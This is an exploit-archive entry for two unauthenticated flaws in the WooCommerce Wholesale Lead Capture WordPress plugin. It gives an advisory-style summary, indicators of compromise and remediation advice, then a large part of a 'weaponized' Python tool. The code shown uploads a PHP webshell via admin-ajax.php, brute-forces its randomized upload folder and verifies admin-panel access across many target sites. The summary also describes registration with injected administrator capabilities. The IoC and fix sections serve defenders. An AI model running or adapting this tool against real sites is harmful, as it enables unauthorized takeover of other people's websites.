PoC Archive PoC Archive
Critical CVE-2026-27542 (bundled with CVE-2026-27540) unpatched

WooCommerce Wholesale Lead Capture — Unauthenticated Privilege Escalation & File Upload RCE (CVE-2026-27542 / CVE-2026-27540)

by Nxploited (Khaled Alenazi) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-27542 (bundled with CVE-2026-27540)
Category
web
Affected product
WooCommerce Wholesale Lead Capture (WWLC) plugin for WordPress
Affected versions
All known affected versions of the WWLC plugin
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2026-27542 (bundled with CVE-2026-27540)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, woocommerce, plugin, privilege-escalation, file-upload, rce, unauthenticated, mass-scanning
RelatedN/A

Affected Target

FieldValue
Software / SystemWooCommerce Wholesale Lead Capture (WWLC) plugin for WordPress
Versions AffectedAll known affected versions of the WWLC plugin
Language / PlatformPython 3.8+ exploit tool targeting PHP/WordPress AJAX handlers
Authentication RequiredNo
Network Access RequiredYes

Summary

The WWLC WordPress plugin ships two unauthenticated AJAX handlers that are exploited together in this tool. CVE-2026-27542 abuses wwlc_create_user, which fails to sanitize role-related fields, letting an unauthenticated attacker inject wp_capabilities[administrator] during registration and self-provision an administrator account. CVE-2026-27540 abuses wwlc_file_upload_handler, which is registered without authentication or nonce checks, allowing arbitrary file (including PHP webshell) uploads into a dynamically named wwlc-temp-* directory under wp-content/uploads/. The provided Python tool operates in two modes: Mode 1 uploads a shell and brute-forces the randomized upload folder name; Mode 2 performs the registration-based privilege escalation and verifies admin panel access.


Vulnerability Details

Root Cause

Both AJAX actions (wwlc_create_user, wwlc_file_upload_handler) are registered for unauthenticated (nopriv) access without adequate input validation, nonce verification, or file-type/role restriction.

Attack Vector

  1. Mode 1 (file upload): Send a crafted multipart POST to /wp-admin/admin-ajax.php invoking wwlc_file_upload_handler with a PHP webshell disguised as an allowed upload; the plugin stores it under a uniqid()-derived wwlc-temp-* folder.
  2. Brute-force the generated folder name using pattern-based, time-based, and random-hex guessing strategies until the shell URL is confirmed reachable.
  3. Mode 2 (privilege escalation): Discover the WWLC registration form nonce, then submit a registration POST that injects wp_capabilities[administrator] into the user metadata.
  4. Log in with the newly created account and verify administrator access across multiple wp-admin endpoints.

Impact

Full site takeover: an unauthenticated remote attacker can either execute arbitrary PHP code via an uploaded webshell or obtain a fully privileged WordPress administrator account, either of which leads to complete compromise of the WordPress installation.


Environment / Lab Setup

Target:   WordPress site running a vulnerable version of WooCommerce Wholesale Lead Capture plugin
Attacker: Python 3.8+, requests, urllib3, colorama (pip install -r requirements.txt)

Proof of Concept

PoC Script

See CVE-2026-27542_CVE-2026-27540.py in this folder.

1
python3 CVE-2026-27542_CVE-2026-27540.py

The tool runs interactively against one or more targets from a list file, either uploading a webshell and brute-forcing its storage path (Mode 1) or self-registering an administrator account via role injection and verifying access (Mode 2), logging confirmed hits to output files.


Detection & Indicators of Compromise

Signs of compromise:

  • Unfamiliar admin accounts with names like Nx_admin_* or similar auto-generated prefixes.
  • PHP files present in wwlc-temp-* upload subdirectories.
  • Spikes of admin-ajax.php requests from a single IP scanning many action values or folder-name guesses.

Remediation

ActionDetail
Primary fixUpdate WooCommerce Wholesale Lead Capture plugin to the vendor-patched version addressing CVE-2026-27542 / CVE-2026-27540
Interim mitigationDisable or remove the WWLC plugin until patched; restrict access to admin-ajax.php actions via a WAF; audit WordPress users for unauthorized administrator accounts

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540- on 2026-07-05.

CVE-2026-27542_CVE-2026-27540.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
By: Nxploited (Khaled Alenazi)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
"""

import os
import re
import sys
import time
import json
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Tuple, Dict, Any
from urllib.parse import urlparse

import requests
import urllib3

try:
    from colorama import Fore, Style, init as colorama_init  # type: ignore
    colorama_init(autoreset=True)
except Exception:
    class _C:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
    Fore = _C()
    Style = _C()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()


def log_success(msg: str) -> None:
    print(Fore.GREEN + Style.BRIGHT + "[SUCCESS] " + Style.NORMAL + msg + Style.RESET_ALL)


def log_fail(msg: str) -> None:
    print(Fore.RED + Style.BRIGHT + "[FAIL] " + Style.NORMAL + msg + Style.RESET_ALL)


def log_dead(msg: str) -> None:
    print(Fore.LIGHTBLACK_EX + Style.BRIGHT + "[DEAD] " + Style.NORMAL + msg + Style.RESET_ALL)


def log_info(msg: str) -> None:
    print(Fore.CYAN + Style.BRIGHT + "[INFO] " + Style.NORMAL + msg + Style.RESET_ALL)


def log_warn(msg: str) -> None:
    print(Fore.MAGENTA + Style.BRIGHT + "[WARN] " + Style.NORMAL + msg + Style.RESET_ALL)


def build_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/121.0.0.0 Safari/537.36"
        ),
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
    })
    adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s


def normalize_base(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"


def guess_uploads_base_url(base_url: str) -> str:
    return base_url.rstrip("/") + "/wp-content/uploads"


def ask(prompt: str, default: Optional[str] = None) -> str:
    if default is not None:
        s = input(f"{prompt} [{default}]: ").strip()
        return s if s else default
    return input(f"{prompt}: ").strip()


def ask_int(prompt: str, default: int) -> int:
    s = ask(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default


def center(text: str, width: int) -> str:
    if len(text) >= width:
        return text
    pad = (width - len(text)) // 2
    return " " * pad + text


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    try:
        import shutil
        TERM_WIDTH = shutil.get_terminal_size((80, 20)).columns
    except Exception:
        TERM_WIDTH = 80

    top_border = "─" * (TERM_WIDTH - 2)
    bottom_border = top_border

    print(Fore.BLUE + "┌" + top_border + "┐" + Style.RESET_ALL)

    raw_logo = [              
    ]

    for line in raw_logo:
        print(Fore.CYAN + Style.BRIGHT + center(line, TERM_WIDTH) + Style.RESET_ALL)

    print()

    cve1 = "CVE-2026-27542 Unauthenticated Privilege Escalation"
    cve2 = "CVE-2026-27540 Unauthenticated Arbitrary File Upload"

    print(Style.BRIGHT + Fore.GREEN + center(cve1, TERM_WIDTH) + Style.RESET_ALL)
    print(Style.BRIGHT + Fore.GREEN + center(cve2, TERM_WIDTH) + Style.RESET_ALL)
    print()

    by_line = "By: Nxploited (Khaled Alenazi)"
    gh_line = "GitHub : https://github.com/Nxploited"
    tg_line = "Telegram : @KNxploited"

    print(Style.BRIGHT + Fore.GREEN + center(by_line, TERM_WIDTH) + Style.RESET_ALL)
    print(Style.BRIGHT + Fore.GREEN + center(gh_line.upper(), TERM_WIDTH) + Style.RESET_ALL)
    print(Style.BRIGHT + Fore.GREEN + center(tg_line.upper(), TERM_WIDTH) + Style.RESET_ALL)
    print()

    modes_title = "Modes"
    print(Style.BRIGHT + Fore.CYAN + center(modes_title, TERM_WIDTH) + Style.RESET_ALL)
    print(Fore.WHITE + center("[1] File Upload + wwlc-temp-* Folder Brute-Force", TERM_WIDTH) + Style.RESET_ALL)
    print(Fore.WHITE + center("[2] Registration + Role Injection + Admin Check", TERM_WIDTH) + Style.RESET_ALL)
    print()

    note = (
        "Note (Mode 1): wwlc-temp-* folder is generated via uniqid('wwlc-temp-'), "
        "so folder name is brute-forced, not exactly computed."
    )
    print(Fore.YELLOW + center(note, TERM_WIDTH) + Style.RESET_ALL)

    print(Fore.BLUE + "└" + bottom_border + "┘" + Style.RESET_ALL)
    print()


def has_logged_in_cookie(sess: requests.Session) -> bool:
    return any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)


def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
    admin_paths = [
        "/wp-admin/index.php",
        "/wp-admin/profile.php",
        "/wp-admin/edit.php",
        "/wp-admin/plugins.php",
        "/wp-admin/users.php",
    ]
    markers = [
        'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
        'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
        "users.php", "plugins.php", "edit.php",
    ]
    deny = [
        "sorry, you are not allowed to access this page",
        "you do not have sufficient permissions",
        "insufficient permissions",
    ]

    ok_pages = 0

    for ep in admin_paths:
        u = root_url.rstrip("/") + ep
        try:
            r = sess.get(u, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        if r.status_code != 200:
            continue
        if "wp-login.php" in (r.url or ""):
            return False
        content = r.text or ""
        low = content.lower()
        if any(d in low for d in deny):
            return False
        found = sum(1 for m in markers if m in content)
        if found >= 3:
            ok_pages += 1
        if ok_pages >= 2:
            return True

    try:
        r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php",
                      timeout=timeout, allow_redirects=True)
        if r2.status_code == 200:
            low2 = (r2.text or "").lower()
            if any(d in low2 for d in deny):
                return False
            if "upload-plugin" in low2 or "plugin-install-tab" in low2:
                return True
    except Exception:
        pass

    return ok_pages >= 1


def find_wp_login_path(sess: requests.Session, base_url: str, timeout: int) -> str:
    paths = [
        "/wp-login.php",
        "/wordpress/wp-login.php",
        "/wp/wp-login.php",
        "/blog/wp-login.php",
        "/cms/wp-login.php",
        "/wp/login.php",
    ]
    for p in paths:
        url = base_url.rstrip("/") + p
        try:
            r = sess.get(url, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        txt = r.text or ""
        if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
            return p
    return "/wp-login.php"


def strict_login_attempt(
    sess: requests.Session,
    base_url: str,
    login_user: str,
    password: str,
    timeout: int,
) -> bool:
    root_site = base_url.rstrip("/") + "/"
    login_path = find_wp_login_path(sess, base_url, timeout)
    login_url = base_url.rstrip("/") + login_path

    try:
        sess.get(login_url, timeout=timeout, allow_redirects=True)
    except Exception:
        pass

    data = {
        "log": login_user.strip(),
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    headers = {
        "User-Agent": sess.headers.get("User-Agent", ""),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
    }

    try:
        r = sess.post(login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True)
    except Exception:
        return False

    content = (r.text or "").lower()
    fails = [
        "incorrect username or password",
        "invalid username",
        "invalid password",
        "error: the username",
        "is not registered",
        "authentication failed",
        "login failed",
        "unknown username",
    ]
    if any(x in content for x in fails):
        return False

    if not has_logged_in_cookie(sess):
        return False

    return check_admin_access(sess, root_site, timeout)


# ===================== MODE 1: UPLOAD + FOLDER BRUTE FORCE (محسّن) ===================== #

def upload_shell(
    sess: requests.Session,
    base_url: str,
    shell_path: str,
    timeout: int,
) -> Tuple[bool, Optional[str], Optional[float], Optional[float]]:
    ajax_url = base_url.rstrip("/") + "/wp-admin/admin-ajax.php"

    if not os.path.isfile(shell_path):
        log_fail(f"{base_url} | shell file not found: {shell_path}")
        return False, None, None, None

    files = {
        "uploaded_file": (os.path.basename(shell_path), open(shell_path, "rb"), "application/octet-stream")
    }
    data = {
        "action": "wwlc_file_upload_handler",
        "file_settings": json.dumps({
            "allowed_file_types": ["php", "jpg"],
            "max_allowed_file_size": 99999999
        })
    }

    t_before = time.time()
    try:
        r = sess.post(ajax_url, data=data, files=files, timeout=timeout)
    except Exception as e:
        log_dead(f"{base_url} | upload error (site may be down): {e}")
        return False, None, t_before, None
    t_after = time.time()

    upload_duration = t_after - t_before
    log_info(f"{base_url} | upload HTTP time: {upload_duration:.3f}s")

    text = r.text or ""
    try:
        j = json.loads(text)
    except Exception:
        log_fail(f"{base_url} | upload non-JSON response snippet: {text[:150]!r}")
        return False, None, t_before, t_after

    if not isinstance(j, dict):
        log_fail(f"{base_url} | upload JSON not object: {text[:150]!r}")
        return False, None, t_before, t_after

    status = str(j.get("status", "")).lower()
    if status != "success":
        log_fail(f"{base_url} | upload failed JSON: {j}")
        return False, None, t_before, t_after

    file_name = j.get("file_name")
    if not file_name:
        log_fail(f"{base_url} | upload success but no file_name in response")
        return False, None, t_before, t_after

    log_success(f"{base_url} | upload success file_name={file_name}")
    return True, file_name, t_before, t_after


def try_list_uploads(
    sess: requests.Session,
    uploads_base: str,
    timeout: int,
) -> List[str]:
    candidates: List[str] = []
    url = uploads_base.rstrip("/") + "/"
    try:
        r = sess.get(url, timeout=timeout, allow_redirects=True)
    except Exception:
        return candidates

    if r.status_code not in (200, 403):
        return candidates

    body = r.text or ""
    lower = body.lower()

    if "index of" in lower and "wp-content/uploads" in lower:
        import re
        for m in re.finditer(r'href=["\'](wwlc-temp-[^/"\' ]+/?)["\']', body, re.I):
            name = m.group(1).rstrip("/")
            candidates.append(name)

    return list(dict.fromkeys(candidates))


def random_hex(n: int) -> str:
    return "".join(random.choice("0123456789abcdef") for _ in range(n))


def generate_pattern_guesses(max_pattern_guesses: int) -> List[str]:
    guesses: List[str] = []

    now = time.localtime()
    ymd = time.strftime("%Y%m%d", now)
    ymdh = time.strftime("%Y%m%d%H", now)
    ymdhm = time.strftime("%Y%m%d%H%M", now)

    time_patterns = [
        f"wwlc-temp-{ymd}",
        f"wwlc-temp-{ymdh}",
        f"wwlc-temp-{ymdhm}",
    ]
    guesses.extend(time_patterns)

    hex_targets = max(20, max_pattern_guesses // 3)
    for _ in range(hex_targets):
        for ln in (10, 11, 12, 13, 14, 15, 16):
            if len(guesses) >= max_pattern_guesses:
                break
            guesses.append("wwlc-temp-" + random_hex(ln))
        if len(guesses) >= max_pattern_guesses:
            break

    seq_limit = min(50000, max_pattern_guesses - len(guesses))
    for i in range(1, seq_limit + 1):
        guesses.append(f"wwlc-temp-{i:010d}")
        if len(guesses) >= max_pattern_guesses:
            break

    return list(dict.fromkeys(guesses))


def generate_time_based_hex_guesses(
    t_before: Optional[float],
    t_after: Optional[float],
    count: int,
) -> List[str]:
    if t_before is None or t_after is None or count <= 0:
        return []

    seed_str = f"{t_before:.6f}-{t_after:.6f}"
    seed = hash(seed_str)
    rnd = random.Random(seed)

    guesses = []
    for _ in range(count):
        ln = rnd.choice([12, 13, 14])
        hex_part = "".join(rnd.choice("0123456789abcdef") for _ in range(ln))
        guesses.append("wwlc-temp-" + hex_part)
    return guesses


def generate_random_hex_guesses(count: int) -> List[str]:
    return ["wwlc-temp-" + random_hex(13) for _ in range(count)]


def try_shell_at(
    sess: requests.Session,
    url: str,
    shell_signature: str,
    timeout: int,
) -> bool:
    try:
        r = sess.get(url, timeout=timeout, allow_redirects=True)
    except Exception:
        return False

    if r.status_code != 200:
        return False

    body = r.text or ""
    if shell_signature in body:
        return True
    return False


def try_locate_shell(
    sess: requests.Session,
    base_url: str,
    file_name: str,
    shell_signature: str,
    max_pattern_guesses: int,
    max_random_guesses: int,
    max_time_based_guesses: int,
    t_before: Optional[float],
    t_after: Optional[float],
    timeout: int,
) -> Optional[str]:
    uploads_base = guess_uploads_base_url(base_url)
    total_attempts = 0
    t_scan_start = time.time()

    # Layer 0: directory listing
    dl_folders = try_list_uploads(sess, uploads_base, timeout)
    if dl_folders:
        log_info(f"{base_url} | directory listing: {len(dl_folders)} wwlc-temp-* candidates")
        for folder in dl_folders:
            url = f"{uploads_base.rstrip('/')}/{folder}/{file_name}"
            total_attempts += 1
            if try_shell_at(sess, url, shell_signature, timeout):
                t_scan_end = time.time()
                scan_time = t_scan_end - t_scan_start
                rate = total_attempts / scan_time if scan_time > 0 else total_attempts
                log_success(f"{base_url} | shell FOUND via listing: {url}")
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